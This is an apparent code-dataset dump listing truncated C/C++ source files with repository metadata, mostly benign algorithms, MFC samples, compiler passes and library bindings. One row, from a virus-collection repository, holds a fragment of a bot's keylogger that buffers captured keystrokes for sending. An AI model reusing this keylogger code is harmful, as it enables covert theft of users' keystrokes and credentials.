hexsha
stringlengths
40
40
size
int64
7
1.05M
ext
stringclasses
13 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
269
max_stars_repo_name
stringlengths
5
108
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
9
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
269
max_issues_repo_name
stringlengths
5
116
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
9
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
269
max_forks_repo_name
stringlengths
5
116
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
9
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
7
1.05M
avg_line_length
float64
1.21
330k
max_line_length
int64
6
990k
alphanum_fraction
float64
0.01
0.99
author_id
stringlengths
2
40
6bb36bd032f4b3ce1e8c05db64801b82f06516de
1,159
cpp
C++
solutions/c++/problems/[0013_Medium] 3Sum.cpp
RageBill/leetcode
a11d411f4e38b5c3f05ca506a193f50b25294497
[ "MIT" ]
6
2021-02-20T14:00:22.000Z
2022-03-31T15:26:44.000Z
solutions/c++/problems/[0013_Medium] 3Sum.cpp
RageBill/leetcode
a11d411f4e38b5c3f05ca506a193f50b25294497
[ "MIT" ]
null
null
null
solutions/c++/problems/[0013_Medium] 3Sum.cpp
RageBill/leetcode
a11d411f4e38b5c3f05ca506a193f50b25294497
[ "MIT" ]
null
null
null
#include <bits/stdc++.h> using namespace std; class Solution { public: void twoSum(vector<vector<int>> &ans, vector<int> &nums, int checkIndex) { int startIndex = checkIndex + 1; int endIndex = nums.size() - 1; while (startIndex < endIndex) { int sum = nums[checkIndex] + nums[s...
31.324324
92
0.458154
RageBill
6bb9112c3fbad4bf1581a6992d7a8b50ca744543
1,859
cpp
C++
samples/snippets/cpp/VS_Snippets_Misc/NVC_MFC_VisualStudioDemo/cpp/OptionsDlg.cpp
BaruaSourav/docs
c288ed777de6b091f5e074d3488f7934683f3eb5
[ "CC-BY-4.0", "MIT" ]
3,294
2016-10-30T05:27:20.000Z
2022-03-31T15:59:30.000Z
samples/snippets/cpp/VS_Snippets_Misc/NVC_MFC_VisualStudioDemo/cpp/OptionsDlg.cpp
BaruaSourav/docs
c288ed777de6b091f5e074d3488f7934683f3eb5
[ "CC-BY-4.0", "MIT" ]
16,739
2016-10-28T19:41:29.000Z
2022-03-31T22:38:48.000Z
samples/snippets/cpp/VS_Snippets_Misc/NVC_MFC_VisualStudioDemo/cpp/OptionsDlg.cpp
BaruaSourav/docs
c288ed777de6b091f5e074d3488f7934683f3eb5
[ "CC-BY-4.0", "MIT" ]
6,701
2016-10-29T20:56:11.000Z
2022-03-31T12:32:26.000Z
// This is a part of the Microsoft Foundation Classes C++ library. // Copyright (c) Microsoft Corporation. All rights reserved. // // This source code is only intended as a supplement to the // Microsoft Foundation Classes Reference and related // electronic documentation provided with the library. // See these source...
31.508475
84
0.726735
BaruaSourav
6bb9dfbae9a01e9d577d0bf2e58ac25b2a56466c
18,531
cpp
C++
src/Passes/HFSortPlus.cpp
davidmalcolm/BOLT
c5c46ca08fd846fb22e032a965fbccf2b0415861
[ "NCSA" ]
2
2019-04-14T20:18:08.000Z
2020-02-18T19:31:51.000Z
src/Passes/HFSortPlus.cpp
davidmalcolm/BOLT
c5c46ca08fd846fb22e032a965fbccf2b0415861
[ "NCSA" ]
null
null
null
src/Passes/HFSortPlus.cpp
davidmalcolm/BOLT
c5c46ca08fd846fb22e032a965fbccf2b0415861
[ "NCSA" ]
1
2022-01-12T17:53:25.000Z
2022-01-12T17:53:25.000Z
//===--- HFSortPlus.cpp - Cluster functions by hotness --------------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===-------------------------------------------------------...
35.705202
84
0.640656
davidmalcolm
6bba3869449de6031b534304680e1472cc4667b2
9,225
cpp
C++
WndDesign3/IME simplification/temp2/merged.cpp
hchenqi/CppTest
ae650409282b6ad7a0bd12cb67b961777e16c208
[ "MIT" ]
null
null
null
WndDesign3/IME simplification/temp2/merged.cpp
hchenqi/CppTest
ae650409282b6ad7a0bd12cb67b961777e16c208
[ "MIT" ]
null
null
null
WndDesign3/IME simplification/temp2/merged.cpp
hchenqi/CppTest
ae650409282b6ad7a0bd12cb67b961777e16c208
[ "MIT" ]
null
null
null
#include <string> #include <Windows.h> using Point = struct { int x; int y; }; using Size = struct { int width; int height; }; using Rect = struct { Point point; Size size; }; using uint = unsigned; Rect region_empty = {}; using std::wstring; class IMM32Manager { public: bool is_composing() const { return is_...
25.912921
105
0.738211
hchenqi
6bbbf22c8780a6b1604e2f72380c1489c216407f
1,182
cpp
C++
algospot/PALINDROMIZE.cpp
Jeongseo21/Algorithm-1
1bce4f3d2328c3b3e24b9d7772fca43090a285e1
[ "MIT" ]
7
2019-08-05T14:49:41.000Z
2022-03-13T07:10:51.000Z
algospot/PALINDROMIZE.cpp
Jeongseo21/Algorithm-1
1bce4f3d2328c3b3e24b9d7772fca43090a285e1
[ "MIT" ]
null
null
null
algospot/PALINDROMIZE.cpp
Jeongseo21/Algorithm-1
1bce4f3d2328c3b3e24b9d7772fca43090a285e1
[ "MIT" ]
4
2021-01-04T03:45:22.000Z
2021-10-06T06:11:00.000Z
/** * problem: https://algospot.com/judge/problem/read/PALINDROMIZE * time complexity: O(N + M) * data structure: string * algorithm : KMP */ #include <string> #include <vector> #include <algorithm> #include <iostream> using namespace std; vector<int> getPi(string s) { int size = s.size(); vector<int> pi(size, 0);...
16.885714
63
0.560068
Jeongseo21
6bbfaf18cd50d27c0e14dec503a315c9aa3532e6
7,982
hpp
C++
include/unitig_distance/SingleGenomeGraphDistances.hpp
jurikuronen/unitig_distance
d32af0684d699e49698df39c79cf0cb9efbaca0f
[ "MIT" ]
null
null
null
include/unitig_distance/SingleGenomeGraphDistances.hpp
jurikuronen/unitig_distance
d32af0684d699e49698df39c79cf0cb9efbaca0f
[ "MIT" ]
null
null
null
include/unitig_distance/SingleGenomeGraphDistances.hpp
jurikuronen/unitig_distance
d32af0684d699e49698df39c79cf0cb9efbaca0f
[ "MIT" ]
null
null
null
#pragma once #include <iostream> #include <map> #include <set> #include <thread> #include <unordered_map> #include <utility> #include <vector> #include "Graph.hpp" #include "SearchJobs.hpp" #include "Timer.hpp" #include "types.hpp" using distance_tuple_t = std::tuple<real_t, real_t, real_t, int_t>; class SingleGeno...
47.796407
164
0.638436
jurikuronen
6bc00f04ffb14089e11392466b46d313d66f95a8
1,609
cpp
C++
src/GameObject.cpp
Delpod/This-Hero-That-Villain
0dc504acf3ac5d0cb39cd14c47f2e08880a6f169
[ "Zlib", "Apache-2.0" ]
null
null
null
src/GameObject.cpp
Delpod/This-Hero-That-Villain
0dc504acf3ac5d0cb39cd14c47f2e08880a6f169
[ "Zlib", "Apache-2.0" ]
null
null
null
src/GameObject.cpp
Delpod/This-Hero-That-Villain
0dc504acf3ac5d0cb39cd14c47f2e08880a6f169
[ "Zlib", "Apache-2.0" ]
null
null
null
#include "GameObject.h" #include "Game.h" GameObject::GameObject(sf::Texture &texture, sf::IntRect coords, bool collidable, sf::IntRect collisionRect, float scale, bool loopTexture) { load(texture, coords, collidable, collisionRect, scale, loopTexture); } void GameObject::load(sf::Texture &texture, sf::IntRect coord...
32.836735
147
0.720945
Delpod
6bc0a61e9819b029a89053351a8108e4a04a981d
3,681
cpp
C++
dpcpp/solver/multigrid_kernels.dp.cpp
kliegeois/ginkgo
4defcc07f77828393cc5b4a735a00e50da2cbab0
[ "BSD-3-Clause" ]
null
null
null
dpcpp/solver/multigrid_kernels.dp.cpp
kliegeois/ginkgo
4defcc07f77828393cc5b4a735a00e50da2cbab0
[ "BSD-3-Clause" ]
null
null
null
dpcpp/solver/multigrid_kernels.dp.cpp
kliegeois/ginkgo
4defcc07f77828393cc5b4a735a00e50da2cbab0
[ "BSD-3-Clause" ]
null
null
null
/*******************************<GINKGO LICENSE>****************************** Copyright (c) 2017-2022, the Ginkgo authors All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source co...
38.747368
80
0.707416
kliegeois
6bc16ddb7a1cb31d1f0341bef91db5c930e1083b
3,579
cc
C++
celeriteflow/ops/celerite_mat_mul_op.cc
mirca/celeriteflow
ed09a178df05856097552a9081b6eb6d537216ee
[ "MIT" ]
null
null
null
celeriteflow/ops/celerite_mat_mul_op.cc
mirca/celeriteflow
ed09a178df05856097552a9081b6eb6d537216ee
[ "MIT" ]
null
null
null
celeriteflow/ops/celerite_mat_mul_op.cc
mirca/celeriteflow
ed09a178df05856097552a9081b6eb6d537216ee
[ "MIT" ]
null
null
null
#include "tensorflow/core/framework/op_kernel.h" #include "tensorflow/core/framework/tensor_shape.h" #include "tensorflow/core/platform/default/logging.h" #include "tensorflow/core/framework/shape_inference.h" #include <Eigen/Core> #include "celerite.h" using namespace tensorflow; REGISTER_OP("CeleriteMatMul") .A...
37.28125
107
0.633417
mirca
6bc5c00e3ba8df358133ec650a78a55ef630622f
1,803
cpp
C++
data/randgen.cpp
dhruvarya/simple-ra
2cb3930d5fe75a96c335a55d788d697016d282d4
[ "MIT" ]
null
null
null
data/randgen.cpp
dhruvarya/simple-ra
2cb3930d5fe75a96c335a55d788d697016d282d4
[ "MIT" ]
null
null
null
data/randgen.cpp
dhruvarya/simple-ra
2cb3930d5fe75a96c335a55d788d697016d282d4
[ "MIT" ]
null
null
null
#include<bits/stdc++.h> using namespace std; typedef long long int ll; typedef long double ld; //**************************************************** #define lp(var,start,end) for (ll var = start; var <end ; ++var) #define rlp(var,start,end) for(ll var = start; var>=end ; var--) #define pb push_back #...
26.910448
127
0.455352
dhruvarya
6bc8e91192d4e68013effdd9d29d505977138ac2
3,386
cpp
C++
EngineTests/Base/Window/Test.Window.cpp
azhirnov/GraphicsGenFramework-modular
348be601f1991f102defa0c99250529f5e44c4d3
[ "BSD-2-Clause" ]
12
2017-12-23T14:24:57.000Z
2020-10-02T19:52:12.000Z
EngineTests/Base/Window/Test.Window.cpp
azhirnov/ModularGraphicsFramework
348be601f1991f102defa0c99250529f5e44c4d3
[ "BSD-2-Clause" ]
null
null
null
EngineTests/Base/Window/Test.Window.cpp
azhirnov/ModularGraphicsFramework
348be601f1991f102defa0c99250529f5e44c4d3
[ "BSD-2-Clause" ]
null
null
null
// Copyright (c) Zhirnov Andrey. For more information see 'LICENSE.txt' #include "../Common.h" class WindowApp final : public StaticRefCountedObject { // variables private: TModID::type windowID = Uninitialized; CreateInfo::Window wndDescr; ModulePtr taskMngr; String name; bool looping = true; // m...
24.897059
160
0.692853
azhirnov
6bcc717019b31f9520a810c75fb40ef2f956b09e
3,456
tpp
C++
bazaar/RepGen/srcdoc.tpp/RepGen$ru-ru.tpp
dreamsxin/ultimatepp
41d295d999f9ff1339b34b43c99ce279b9b3991c
[ "BSD-2-Clause" ]
2
2016-04-07T07:54:26.000Z
2020-04-14T12:37:34.000Z
bazaar/RepGen/srcdoc.tpp/RepGen$ru-ru.tpp
dreamsxin/ultimatepp
41d295d999f9ff1339b34b43c99ce279b9b3991c
[ "BSD-2-Clause" ]
null
null
null
bazaar/RepGen/srcdoc.tpp/RepGen$ru-ru.tpp
dreamsxin/ultimatepp
41d295d999f9ff1339b34b43c99ce279b9b3991c
[ "BSD-2-Clause" ]
null
null
null
topic "RepGen - Short description and Tutorial"; [ $$0,0#00000000000000000000000000000000:Default] [i448;a25;kKO9; $$1,0#37138531426314131252341829483380:structitem] [l288;2 $$2,0#27521748481378242620020725143825:desc] [0 $$3,0#96390100711032703541132217272105:end] [{_}%EN-US [ {{10000f0;t/25b/25@(113.42.0) [s0;...
30.584071
118
0.588542
dreamsxin
6bcc99682f3eef97bab2cabf0616f7dc2d12b849
1,542
hpp
C++
libs/Delphi/src/Syntax/DelphiExceptionHandlerBlockSyntax.hpp
henrikfroehling/interlinck
d9d947b890d9286c6596c687fcfcf016ef820d6b
[ "MIT" ]
null
null
null
libs/Delphi/src/Syntax/DelphiExceptionHandlerBlockSyntax.hpp
henrikfroehling/interlinck
d9d947b890d9286c6596c687fcfcf016ef820d6b
[ "MIT" ]
19
2021-12-01T20:37:23.000Z
2022-02-14T21:05:43.000Z
libs/Delphi/src/Syntax/DelphiExceptionHandlerBlockSyntax.hpp
henrikfroehling/interlinck
d9d947b890d9286c6596c687fcfcf016ef820d6b
[ "MIT" ]
null
null
null
#ifndef ARGOS_DELPHI_SYNTAX_DELPHIEXCEPTIONHANDLERBLOCKSYNTAX_H #define ARGOS_DELPHI_SYNTAX_DELPHIEXCEPTIONHANDLERBLOCKSYNTAX_H #include <string> #include <argos-Core/Syntax/SyntaxVariant.hpp> #include <argos-Core/Types.hpp> #include "Syntax/DelphiExceptionBlockSyntax.hpp" namespace argos::Delphi::Syntax { class D...
32.808511
111
0.789235
henrikfroehling
6bcf56cc3ccddf2a132c63adffc48a47ade1f1cf
9,301
cpp
C++
Win32.Ya/source/bot/keylog.cpp
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
2
2021-02-04T06:47:45.000Z
2021-07-28T10:02:10.000Z
Win32.Ya/source/bot/keylog.cpp
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
Win32.Ya/source/bot/keylog.cpp
010001111/Vx-Suites
6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79
[ "MIT" ]
null
null
null
/* ya.bot */ #include "bot.h" #ifndef NO_KEYLOG DWORD WINAPI keylog_buffer(LPVOID param) { SKeylogInfo s_ki = *((SKeylogInfo *)param); #ifndef NO_DEBUG debug_print("[DEBUG] Starting keylog buffer thread, keylog_buffer()"); #endif while (g_hHook) { if (g_bSignature) { if (strlen(g_szLog) >= 135) { ...
29.526984
85
0.606709
010001111
6bcfd640a0e1ecec09b4cded265770aa49c19d34
1,787
cpp
C++
src/gr_common/arduino/lib/SD/iSdio.cpp
takjn/LiMoRo
df4d2cfc63d8d253e7cdbcf3169668313a77fda9
[ "MIT" ]
null
null
null
src/gr_common/arduino/lib/SD/iSdio.cpp
takjn/LiMoRo
df4d2cfc63d8d253e7cdbcf3169668313a77fda9
[ "MIT" ]
null
null
null
src/gr_common/arduino/lib/SD/iSdio.cpp
takjn/LiMoRo
df4d2cfc63d8d253e7cdbcf3169668313a77fda9
[ "MIT" ]
null
null
null
/* Arduino Sdio Library * Copyright (C) 2014 by Munehiro Doi, Fixstars Corporation * All rights reserved. * Released under the BSD 2-Clause license. * http://flashair-developers.com/documents/license.html */ #include "iSdio.h" //-----------------------------------------------------------------------...
34.365385
81
0.531617
takjn
6bd11ab17d491d7a6142eaafdbb6f3005039affd
11,262
cpp
C++
Microsoft/SAMPLES/xrt/xrtframe/wosaxrt.cpp
tig/Tigger
8e06d117a5b520c5fc9e37a710bf17aa51a9958c
[ "MIT", "Unlicense" ]
1
2021-08-02T01:36:43.000Z
2021-08-02T01:36:43.000Z
Microsoft/SAMPLES/xrt/xrtframe/wosaxrt.cpp
mdileep/Tigger
8e06d117a5b520c5fc9e37a710bf17aa51a9958c
[ "MIT", "Unlicense" ]
null
null
null
Microsoft/SAMPLES/xrt/xrtframe/wosaxrt.cpp
mdileep/Tigger
8e06d117a5b520c5fc9e37a710bf17aa51a9958c
[ "MIT", "Unlicense" ]
1
2022-01-04T21:13:01.000Z
2022-01-04T21:13:01.000Z
// WOSA/XRT XRTFrame Sample Application Version 1.00.007 // // Copyright (c) 1993 Microsoft Corporation, All Rights Reserved. // // WOSAXRT.CPP // // Helper routines for allocating and maintaining WOSA/XRT related // data structures. // // Revisions: // August 18, 1993 cek First implementation. // ...
29.481675
136
0.540845
tig
6bd42508483d2604ea5355b1e2e8cb0837ab65f6
5,187
cpp
C++
common/filesystem/osx/dir.cpp
vlanse/tf
7dc4291325476254f488116276c67dfffbcf06ac
[ "Apache-2.0" ]
null
null
null
common/filesystem/osx/dir.cpp
vlanse/tf
7dc4291325476254f488116276c67dfffbcf06ac
[ "Apache-2.0" ]
null
null
null
common/filesystem/osx/dir.cpp
vlanse/tf
7dc4291325476254f488116276c67dfffbcf06ac
[ "Apache-2.0" ]
null
null
null
#include <common/filesystem.h> #include <common/string_utils.h> #include <common/trace.h> #include <vector> #include <errno.h> #include <sys/types.h> #include <sys/stat.h> #include <fts.h> namespace Filesys { const char PATH_SEPARATOR = '/'; namespace { typedef std::function<bool(FTSENT*)> TraverseCallbac...
27.3
125
0.596298
vlanse
6bd6aaca58fb1c46b211a7d95f3d98388988dc91
3,400
cpp
C++
src/main.cpp
mdarocha/software-renderer
e90a24c67dc7a0b71b69b019f1a71e17d6b9f7c1
[ "MIT" ]
null
null
null
src/main.cpp
mdarocha/software-renderer
e90a24c67dc7a0b71b69b019f1a71e17d6b9f7c1
[ "MIT" ]
null
null
null
src/main.cpp
mdarocha/software-renderer
e90a24c67dc7a0b71b69b019f1a71e17d6b9f7c1
[ "MIT" ]
null
null
null
#include <iostream> #include <cstdio> #include <cmath> #include "ppm_image.h" #include "realtime_target.h" #include "obj_model.h" #include "drawing_utils.h" #include "camera.h" #include "matrix.h" #include "shader/gouraud.h" #include "fallback_image.h" void render_to_image(OBJModel &model, std::string &output, int ...
29.310345
119
0.600882
mdarocha
6be2ba1d34947017c11fac97e9db5553f5bac21f
316
hpp
C++
Code/ObjectDatabase/Mod/MaterialManager.hpp
QuestionableM/Tile-Converter
28e86e0e3f6df5872721a7903c5e8bc2e8e73dde
[ "MIT" ]
2
2022-01-08T19:12:12.000Z
2022-01-24T09:31:08.000Z
Code/ObjectDatabase/Mod/MaterialManager.hpp
QuestionableM/Tile-Converter
28e86e0e3f6df5872721a7903c5e8bc2e8e73dde
[ "MIT" ]
null
null
null
Code/ObjectDatabase/Mod/MaterialManager.hpp
QuestionableM/Tile-Converter
28e86e0e3f6df5872721a7903c5e8bc2e8e73dde
[ "MIT" ]
1
2022-01-08T19:12:16.000Z
2022-01-08T19:12:16.000Z
#pragma once #include <unordered_map> #include <string> class MaterialManager { static std::unordered_map<std::wstring, std::wstring> MatStorage; public: static void Initialize(); static std::wstring GetMaterialW(const std::wstring& mat_name); static std::string GetMaterialA(const std::wstring& mat_name); };
22.571429
66
0.765823
QuestionableM
6be3ce9424a513ae5e03d0253dbff274f99bcc12
4,016
hpp
C++
include/roq/support_type.hpp
roq-trading/tradingapi
13dbcec50eab53627bc29112ffe3cdd81acadda3
[ "MIT" ]
1
2018-03-27T15:43:57.000Z
2018-03-27T15:43:57.000Z
include/roq/support_type.hpp
roq-trading/roq
13dbcec50eab53627bc29112ffe3cdd81acadda3
[ "MIT" ]
null
null
null
include/roq/support_type.hpp
roq-trading/roq
13dbcec50eab53627bc29112ffe3cdd81acadda3
[ "MIT" ]
null
null
null
/* Copyright (c) 2017-2022, Hans Erik Thrane */ /* !!! THIS FILE HAS BEEN AUTO-GENERATED !!! */ #pragma once #include <fmt/format.h> #include <cassert> namespace roq { //! Enumeration of support types enum class SupportType : uint64_t { UNDEFINED = 0x0, REFERENCE_DATA = 0x1, //!< Reference data MARKET_ST...
29.970149
64
0.594871
roq-trading
6be618e507d7d6293f6b5c02daf1e5fc86a6f92d
601
cpp
C++
ecs/src/v2/model/NovaDeleteKeypairResponse.cpp
yangzhaofeng/huaweicloud-sdk-cpp-v3
4f3caac5ba9a9b75b4e5fd61683d1c4d57ec1c23
[ "Apache-2.0" ]
5
2021-03-03T08:23:43.000Z
2022-02-16T02:16:39.000Z
ecs/src/v2/model/NovaDeleteKeypairResponse.cpp
yangzhaofeng/huaweicloud-sdk-cpp-v3
4f3caac5ba9a9b75b4e5fd61683d1c4d57ec1c23
[ "Apache-2.0" ]
null
null
null
ecs/src/v2/model/NovaDeleteKeypairResponse.cpp
yangzhaofeng/huaweicloud-sdk-cpp-v3
4f3caac5ba9a9b75b4e5fd61683d1c4d57ec1c23
[ "Apache-2.0" ]
7
2021-02-26T13:53:35.000Z
2022-03-18T02:36:43.000Z
#include "huaweicloud/ecs/v2/model/NovaDeleteKeypairResponse.h" namespace HuaweiCloud { namespace Sdk { namespace Ecs { namespace V2 { namespace Model { NovaDeleteKeypairResponse::NovaDeleteKeypairResponse() { } NovaDeleteKeypairResponse::~NovaDeleteKeypairResponse() = default; void NovaDeleteKeypairResponse::...
12.787234
69
0.718802
yangzhaofeng
6be9dd97171a2aa486601635c8e8dda5b9ed1925
1,776
hpp
C++
components/esm/loadarmo.hpp
Bodillium/openmw
5fdd264d0704e33b44b1ccf17ab4fb721f362e34
[ "Unlicense" ]
null
null
null
components/esm/loadarmo.hpp
Bodillium/openmw
5fdd264d0704e33b44b1ccf17ab4fb721f362e34
[ "Unlicense" ]
null
null
null
components/esm/loadarmo.hpp
Bodillium/openmw
5fdd264d0704e33b44b1ccf17ab4fb721f362e34
[ "Unlicense" ]
null
null
null
#ifndef OPENMW_ESM_ARMO_H #define OPENMW_ESM_ARMO_H #include <vector> #include <string> namespace ESM { class ESMReader; class ESMWriter; enum PartReferenceType { PRT_Head = 0, PRT_Hair = 1, PRT_Neck = 2, PRT_Cuirass = 3, PRT_Groin = 4, PRT_Skirt = 5, PRT_RHand = 6, PRT_LHand = 7, ...
17.584158
61
0.595158
Bodillium
6beb0d9741fc27424f21b76c2d366be331157040
4,325
cpp
C++
src/adera/ShipResources.cpp
haennes/osp-magnum
242958d71ab34a79250b9f426d97ab4dfdfc775f
[ "MIT" ]
null
null
null
src/adera/ShipResources.cpp
haennes/osp-magnum
242958d71ab34a79250b9f426d97ab4dfdfc775f
[ "MIT" ]
null
null
null
src/adera/ShipResources.cpp
haennes/osp-magnum
242958d71ab34a79250b9f426d97ab4dfdfc775f
[ "MIT" ]
null
null
null
/** * Open Space Program * Copyright © 2019-2021 Open Space Program Project * * MIT License * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without li...
30.244755
88
0.734335
haennes
6bebe0f00f8e89c11eca50d3c436266227bfdbfc
676
cc
C++
test/stack.cc
leeliliang/cocoyaxi
0117286d13fd9c97053b665016c7bf2190bab441
[ "MIT" ]
210
2022-01-05T06:40:17.000Z
2022-03-31T18:44:44.000Z
test/stack.cc
leeliliang/cocoyaxi
0117286d13fd9c97053b665016c7bf2190bab441
[ "MIT" ]
13
2022-01-07T03:21:44.000Z
2022-03-03T00:46:39.000Z
test/stack.cc
leeliliang/cocoyaxi
0117286d13fd9c97053b665016c7bf2190bab441
[ "MIT" ]
28
2022-01-11T08:13:42.000Z
2022-03-30T02:55:03.000Z
#include "co/log.h" #include "co/thread.h" #include "co/time.h" #include "co/co.h" DEF_bool(t, false, "if true, run test in thread"); DEF_bool(m, false, "if true, run test in main thread"); DEF_bool(check, false, "if true, run CHECK test"); void a() { char* p = 0; if (FLG_check) { CHECK_EQ...
16.095238
56
0.470414
leeliliang
6bee2e0544918db2846467ec14f201e34f03de9c
426
cpp
C++
test/nim_test/nim_play.cpp
mascaretti/mcts
08916e494a3689622b809452fd47f1c841d3a40b
[ "MIT" ]
3
2019-04-02T23:21:49.000Z
2021-06-02T12:33:23.000Z
test/nim_test/nim_play.cpp
mascaretti/mcts
08916e494a3689622b809452fd47f1c841d3a40b
[ "MIT" ]
1
2018-11-12T17:57:28.000Z
2018-11-12T17:57:28.000Z
test/nim_test/nim_play.cpp
mascaretti/mcts
08916e494a3689622b809452fd47f1c841d3a40b
[ "MIT" ]
1
2020-09-28T02:46:11.000Z
2020-09-28T02:46:11.000Z
#include "nim.hpp" int main(int argc, char const *argv[]) { game::Nim::NimGame<> test_game; do { std::cout << "Play a move" << '\n'; std::cout << "Insert pile: "; unsigned int pile; std::cin >> pile; std::cout << "Insert number: "; unsigned int number; std::cin >> number; test_game.apply_action({...
16.384615
52
0.615023
mascaretti
6bee5b993ad513d43fac9422d37243e40873330f
1,808
hpp
C++
ql/pricingengines/genericmodelengine.hpp
haozhangphd/QuantLib-noBoost
ddded069868161099843c04840454f00816113ad
[ "BSD-3-Clause" ]
76
2017-06-28T21:24:38.000Z
2021-12-19T18:07:37.000Z
ql/pricingengines/genericmodelengine.hpp
haozhangphd/QuantLib-noBoost
ddded069868161099843c04840454f00816113ad
[ "BSD-3-Clause" ]
2
2017-07-05T09:20:13.000Z
2019-10-31T12:06:51.000Z
ql/pricingengines/genericmodelengine.hpp
haozhangphd/QuantLib-noBoost
ddded069868161099843c04840454f00816113ad
[ "BSD-3-Clause" ]
34
2017-07-02T14:49:21.000Z
2021-11-26T15:32:04.000Z
/* -*- mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* Copyright (C) 2002, 2003 Ferdinando Ametrano Copyright (C) 2009 StatPro Italia srl This file is part of QuantLib, a free-software/open-source library for financial quantitative analysts and developers - http://quantlib.org/ Quant...
31.172414
80
0.708518
haozhangphd
6beeb011c6f53dcdffa35eb4f6d7c6c9c7def6f6
2,904
cpp
C++
src/lldb/Bindings/SBInstructionListBinding.cpp
atouchet/lldb-sys.rs
22e212a86b0d4fc085e2ecdc34a286cf4c91a1a5
[ "Apache-2.0", "MIT" ]
13
2016-06-29T17:14:24.000Z
2022-01-14T15:50:05.000Z
src/lldb/Bindings/SBInstructionListBinding.cpp
atouchet/lldb-sys.rs
22e212a86b0d4fc085e2ecdc34a286cf4c91a1a5
[ "Apache-2.0", "MIT" ]
13
2016-07-16T16:33:42.000Z
2021-11-14T14:56:38.000Z
src/lldb/Bindings/SBInstructionListBinding.cpp
atouchet/lldb-sys.rs
22e212a86b0d4fc085e2ecdc34a286cf4c91a1a5
[ "Apache-2.0", "MIT" ]
7
2016-09-01T16:17:34.000Z
2021-10-04T22:42:16.000Z
//===-- SBInstructionListBinding.cpp ----------------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===-------------------------------------------------------...
32.629213
80
0.724862
atouchet
6bf0581d46f5d769bb2cf7de7750bf4f74df9604
1,244
cpp
C++
dynamic/wrappers/pde/AbstractBoundaryCondition3.cppwg.cpp
jmsgrogan/PyChaste
48a9863d2c941c71e47ecb72e917b477ba5c1413
[ "FTL" ]
6
2017-02-04T16:10:53.000Z
2021-07-01T08:03:16.000Z
dynamic/wrappers/pde/AbstractBoundaryCondition3.cppwg.cpp
jmsgrogan/PyChaste
48a9863d2c941c71e47ecb72e917b477ba5c1413
[ "FTL" ]
6
2017-06-22T08:50:41.000Z
2019-12-15T20:17:29.000Z
dynamic/wrappers/pde/AbstractBoundaryCondition3.cppwg.cpp
jmsgrogan/PyChaste
48a9863d2c941c71e47ecb72e917b477ba5c1413
[ "FTL" ]
3
2017-05-15T21:33:58.000Z
2019-10-27T21:43:07.000Z
#include <pybind11/pybind11.h> #include <pybind11/stl.h> #include <set> #include <vector> #include <string> #include <map> #include "SmartPointers.hpp" #include "UblasIncludes.hpp" #include "AbstractBoundaryCondition.hpp" #include "AbstractBoundaryCondition3.cppwg.hpp" namespace py = pybind11; typedef AbstractBoundar...
32.736842
162
0.712219
jmsgrogan
6bf130ce98b91c2986c6ec4c67be96dd0d7fab15
3,391
cpp
C++
Pika-No/src/ScreenGame.cpp
Crupette/advent-2018
935458f3aa145e86df2c9144532e926bd59e9e70
[ "Apache-2.0" ]
null
null
null
Pika-No/src/ScreenGame.cpp
Crupette/advent-2018
935458f3aa145e86df2c9144532e926bd59e9e70
[ "Apache-2.0" ]
null
null
null
Pika-No/src/ScreenGame.cpp
Crupette/advent-2018
935458f3aa145e86df2c9144532e926bd59e9e70
[ "Apache-2.0" ]
null
null
null
#include "ScreenGame.h" #include <Engine/Base.h> #include <Engine/InputManager.h> #include <Engine/FPSRegulator.h> #include <Engine/RendererDefault.h> #include <Engine/TextureCache.h> #include <Engine/GuiManager.h> DecentEngine::FontRenderer ScreenGame::fontRenderer; ScreenGame::ScreenGame() : m_engine(time(0)){ } ...
33.91
185
0.715718
Crupette
6bf20831af4f882e80ac2510f7903d945d044aa9
5,288
hpp
C++
c++/cpp2py/pyref.hpp
TRIQS/cpp2y
a54c23606abe4e19da8f370b9c3faed0fb3ec5ca
[ "Apache-2.0" ]
19
2017-10-16T13:54:56.000Z
2022-01-29T10:34:07.000Z
c++/cpp2py/pyref.hpp
TRIQS/cpp2y
a54c23606abe4e19da8f370b9c3faed0fb3ec5ca
[ "Apache-2.0" ]
38
2017-11-08T10:26:16.000Z
2022-03-04T19:09:47.000Z
c++/cpp2py/pyref.hpp
TRIQS/cpp2y
a54c23606abe4e19da8f370b9c3faed0fb3ec5ca
[ "Apache-2.0" ]
12
2017-11-09T12:28:35.000Z
2022-03-04T18:54:48.000Z
// Copyright (c) 2017-2018 Commissariat à l'énergie atomique et aux énergies alternatives (CEA) // Copyright (c) 2017-2018 Centre national de la recherche scientifique (CNRS) // Copyright (c) 2018-2020 Simons Foundation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file e...
31.289941
144
0.634266
TRIQS
6bf4ffa082b0c189b28c203bc4d6b69c501dec19
7,077
cpp
C++
clients/cpp-qt-qhttpengine-server/generated/server/src/models/OAIInputStepImpl.cpp
cliffano/jenkins-api-clients-generator
522d02b3a130a29471df5ec1d3d22c822b3d0813
[ "MIT" ]
null
null
null
